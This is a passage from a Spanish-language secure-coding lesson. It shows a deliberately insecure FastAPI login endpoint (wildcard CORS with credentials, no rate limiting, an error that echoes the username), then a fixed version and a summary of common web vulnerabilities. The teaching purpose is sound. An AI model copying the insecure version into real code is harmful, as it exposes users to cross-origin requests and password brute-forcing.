from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.post("/auth/login")
async def login(username: str, password: str) -> dict:
    user = db.authenticate(username, password)
    if not user:
        raise HTTPException(status_code=401, detail=f"User {username} not found or wrong password")
    return {"token": create_token(user.id)}
Ver solución 
from fastapi import FastAPI, HTTPException, Request
from fastapi.middleware.cors import CORSMiddleware
from pydantic import BaseModel
from datetime import datetime, timedelta

app = FastAPI()

app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://myapp.com", "http://localhost:3000"],
    allow_credentials=True,
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Authorization", "Content-Type"],
)

login_attempts: dict[str, list[datetime]] = {}

class LoginRequest(BaseModel):
    username: str
    password: str

@app.post("/auth/login")
async def login(request: LoginRequest, req: Request) -> dict:
    client_ip = req.client.host if req.client else "unknown"
    now = datetime.now()
    window = now - timedelta(minutes=15)

    if client_ip not in login_attempts:
        login_attempts[client_ip] = []
    login_attempts[client_ip] = [t for t in login_attempts[client_ip] if t > window]

    if len(login_attempts[client_ip]) >= 5:
        raise HTTPException(status_code=429, detail="Too many login attempts")

    login_attempts[client_ip].append(now)

    user = db.authenticate(request.username, request.password)
    if not user:
        raise HTTPException(status_code=401, detail="Invalid credentials")

    login_attempts.pop(client_ip, None)
    return {"token": create_token(user.id)}

Tres fixes:

  1. CORS con orígenes explícitos
  2. Rate limiting: 5 intentos por 15 minutos por IP
  3. Error message genérico ("Invalid credentials") — no revela si el usuario existe

Resumen

  • SQL injection es la vulnerabilidad más clásica y AI la genera consistentemente — busca f-strings en queries
  • Secrets hardcoded son inmediatos de explotar si el código llega a un repo — usa pydantic-settings
  • Endpoints sin auth permiten acceso total a datos sensibles — cada endpoint modificador necesita Depends()
  • XSS permite ejecutar JavaScript malicioso en el browser de tus usuarios — escapa HTML o usa Jinja2
  • CORS misconfiguration permite a sitios maliciosos hacer requests con las cookies del usuario
  • Missing rate limiting permite brute-force de passwords y abuso de recursos
  • Information exposure en errores revela datos internos — log detallado interno, respuesta genérica al cliente
  • Path traversal permite leer archivos del sistema — valida con Path.resolve() y is_relative_to()

Recursos Adicionales

  1. OWASP Top 10 — 2021 - Las 10 vulnerabilidades web más críticas actualizadas
  2. FastAPI Security Tutorial - Guía oficial de seguridad en FastAPI con OAuth2
  3. Bandit — Python Security Linter - Herramienta que detecta security issues comunes en Python
  4. CWE/SANS Top 25 - Las 25 debilidades de software más peligrosas
  5. Python SQL Injection Prevention - Guía práctica de prevención de SQL injection en Python
  6. Mozilla Web Security Guidelines - Guía de seguridad web de Mozilla para developers

Siguiente cápsula: Ejercicio: Identificar Patrones — un codebase FastAPI con 5 errores para encontrar y corregir.

Debugging & Code Review with Claude Code — Módulo 5, Cápsula 04 Claude Code Agentic Development Path — Guía #6 de 11

← AnteriorEdge Cases No ManejadosSiguiente →Ejercicio: Identificar Patrones de Error